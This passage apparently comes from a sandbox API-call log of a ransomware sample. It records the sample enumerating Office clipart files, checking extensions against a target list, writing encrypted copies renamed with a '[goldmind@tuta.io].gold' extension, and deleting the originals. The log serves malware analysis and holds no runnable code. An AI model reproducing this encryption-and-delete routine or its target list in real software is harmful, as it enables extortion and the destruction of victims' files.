(lpString=".1cd") returned 4 [0099.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 63 [0099.423] lstrlenW (lpString=".jpg") returned 4 [0099.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.423] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.423] lstrlenW (lpString="HH02282_.WMF") returned 12 [0099.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0099.423] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=7932) returned 1 [0099.423] CloseHandle (hObject=0x190) returned 1 [0099.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x20 [0099.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0099.424] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.424] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0099.424] GetLastError () returned 0x0 [0099.424] ReadFile (in: hFile=0x190, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1efc, lpOverlapped=0x0) returned 1 [0099.426] WriteFile (in: hFile=0x394, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1f00, lpOverlapped=0x0) returned 1 [0099.426] ReadFile (in: hFile=0x190, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.426] WriteFile (in: hFile=0x394, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.426] SetEndOfFile (hFile=0x394) returned 1 [0099.427] CloseHandle (hObject=0x394) returned 1 [0099.427] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.427] SetEndOfFile (hFile=0x190) returned 1 [0099.428] CloseHandle (hObject=0x190) returned 1 [0099.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0099.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0099.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0099.429] lstrlenW (lpString=".doc") returned 4 [0099.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.429] lstrlenW (lpString=".docx") returned 5 [0099.429] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.429] lstrlenW (lpString=".pdf") returned 4 [0099.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.429] lstrlenW (lpString=".xls") returned 4 [0099.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.429] lstrlenW (lpString=".xlsx") returned 5 [0099.429] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.429] lstrlenW (lpString=".ppt") returned 4 [0099.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0099.429] lstrlenW (lpString=".zip") returned 4 [0099.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.429] lstrlenW (lpString=".rar") returned 4 [0099.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.430] lstrlenW (lpString=".bz2") returned 4 [0099.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.430] lstrlenW (lpString=".7z") returned 3 [0099.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0099.430] lstrlenW (lpString=".dbf") returned 4 [0099.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0099.430] lstrlenW (lpString=".1cd") returned 4 [0099.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0099.430] lstrlenW (lpString=".jpg") returned 4 [0099.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0099.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0099.430] lstrlenW (lpString=".doc") returned 4 [0099.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.430] lstrlenW (lpString=".docx") returned 5 [0099.430] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.430] lstrlenW (lpString=".pdf") returned 4 [0099.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.430] lstrlenW (lpString=".xls") returned 4 [0099.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.430] lstrlenW (lpString=".xlsx") returned 5 [0099.430] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.430] lstrlenW (lpString=".ppt") returned 4 [0099.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0099.430] lstrlenW (lpString=".zip") returned 4 [0099.430] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.430] lstrlenW (lpString=".rar") returned 4 [0099.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.430] lstrlenW (lpString=".bz2") returned 4 [0099.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.430] lstrlenW (lpString=".7z") returned 3 [0099.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0099.430] lstrlenW (lpString=".dbf") returned 4 [0099.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0099.430] lstrlenW (lpString=".1cd") returned 4 [0099.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0099.430] lstrlenW (lpString=".jpg") returned 4 [0099.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.431] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.431] lstrlenW (lpString="HH02298_.WMF") returned 12 [0099.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0100.520] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=5552) returned 1 [0100.520] CloseHandle (hObject=0x3b0) returned 1 [0100.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x20 [0100.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0100.666] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.666] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0100.978] GetLastError () returned 0x0 [0100.978] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x15b0, lpOverlapped=0x0) returned 1 [0100.979] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0100.980] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.980] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0100.980] SetEndOfFile (hFile=0x3b0) returned 1 [0100.980] CloseHandle (hObject=0x3b0) returned 1 [0100.980] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.980] SetEndOfFile (hFile=0x364) returned 1 [0100.982] CloseHandle (hObject=0x364) returned 1 [0100.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0101.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0101.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0101.041] lstrlenW (lpString=".doc") returned 4 [0101.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.042] lstrlenW (lpString=".docx") returned 5 [0101.042] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0101.042] lstrlenW (lpString=".pdf") returned 4 [0101.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.042] lstrlenW (lpString=".xls") returned 4 [0101.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.042] lstrlenW (lpString=".xlsx") returned 5 [0101.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0101.042] lstrlenW (lpString=".ppt") returned 4 [0101.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0101.042] lstrlenW (lpString=".zip") returned 4 [0101.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.042] lstrlenW (lpString=".rar") returned 4 [0101.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.042] lstrlenW (lpString=".bz2") returned 4 [0101.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.042] lstrlenW (lpString=".7z") returned 3 [0101.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0101.042] lstrlenW (lpString=".dbf") returned 4 [0101.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0101.042] lstrlenW (lpString=".1cd") returned 4 [0101.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0101.042] lstrlenW (lpString=".jpg") returned 4 [0101.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0101.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0101.042] lstrlenW (lpString=".doc") returned 4 [0101.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.042] lstrlenW (lpString=".docx") returned 5 [0101.042] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0101.042] lstrlenW (lpString=".pdf") returned 4 [0101.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.042] lstrlenW (lpString=".xls") returned 4 [0101.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.042] lstrlenW (lpString=".xlsx") returned 5 [0101.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0101.043] lstrlenW (lpString=".ppt") returned 4 [0101.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0101.043] lstrlenW (lpString=".zip") returned 4 [0101.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.043] lstrlenW (lpString=".rar") returned 4 [0101.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.043] lstrlenW (lpString=".bz2") returned 4 [0101.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.043] lstrlenW (lpString=".7z") returned 3 [0101.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0101.043] lstrlenW (lpString=".dbf") returned 4 [0101.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0101.043] lstrlenW (lpString=".1cd") returned 4 [0101.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0101.043] lstrlenW (lpString=".jpg") returned 4 [0101.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.043] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.043] lstrlenW (lpString="J0090027.WMF") returned 12 [0101.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0101.043] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=21268) returned 1 [0101.043] CloseHandle (hObject=0x198) returned 1 [0101.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 0x20 [0101.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0101.044] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.044] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0101.044] GetLastError () returned 0x0 [0101.044] ReadFile (in: hFile=0x198, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x5314, lpOverlapped=0x0) returned 1 [0101.087] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x5320, lpOverlapped=0x0) returned 1 [0101.088] ReadFile (in: hFile=0x198, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.088] WriteFile (in: hFile=0x3c8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.088] SetEndOfFile (hFile=0x3c8) returned 1 [0101.088] CloseHandle (hObject=0x3c8) returned 1 [0101.088] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.088] SetEndOfFile (hFile=0x198) returned 1 [0101.090] CloseHandle (hObject=0x198) returned 1 [0101.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0101.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0101.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0101.091] lstrlenW (lpString=".doc") returned 4 [0101.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.091] lstrlenW (lpString=".docx") returned 5 [0101.091] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0101.091] lstrlenW (lpString=".pdf") returned 4 [0101.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.091] lstrlenW (lpString=".xls") returned 4 [0101.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.091] lstrlenW (lpString=".xlsx") returned 5 [0101.091] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0101.091] lstrlenW (lpString=".ppt") returned 4 [0101.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0101.091] lstrlenW (lpString=".zip") returned 4 [0101.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.091] lstrlenW (lpString=".rar") returned 4 [0101.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.091] lstrlenW (lpString=".bz2") returned 4 [0101.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.091] lstrlenW (lpString=".7z") returned 3 [0101.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0101.091] lstrlenW (lpString=".dbf") returned 4 [0101.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0101.091] lstrlenW (lpString=".1cd") returned 4 [0101.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0101.092] lstrlenW (lpString=".jpg") returned 4 [0101.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0101.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0101.092] lstrlenW (lpString=".doc") returned 4 [0101.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.092] lstrlenW (lpString=".docx") returned 5 [0101.092] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0101.092] lstrlenW (lpString=".pdf") returned 4 [0101.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.092] lstrlenW (lpString=".xls") returned 4 [0101.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.092] lstrlenW (lpString=".xlsx") returned 5 [0101.092] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0101.092] lstrlenW (lpString=".ppt") returned 4 [0101.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0101.092] lstrlenW (lpString=".zip") returned 4 [0101.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.092] lstrlenW (lpString=".rar") returned 4 [0101.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.092] lstrlenW (lpString=".bz2") returned 4 [0101.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.092] lstrlenW (lpString=".7z") returned 3 [0101.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0101.092] lstrlenW (lpString=".dbf") returned 4 [0101.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0101.092] lstrlenW (lpString=".1cd") returned 4 [0101.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned 63 [0101.092] lstrlenW (lpString=".jpg") returned 4 [0101.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.092] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.092] lstrlenW (lpString="J0090149.WMF") returned 12 [0101.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 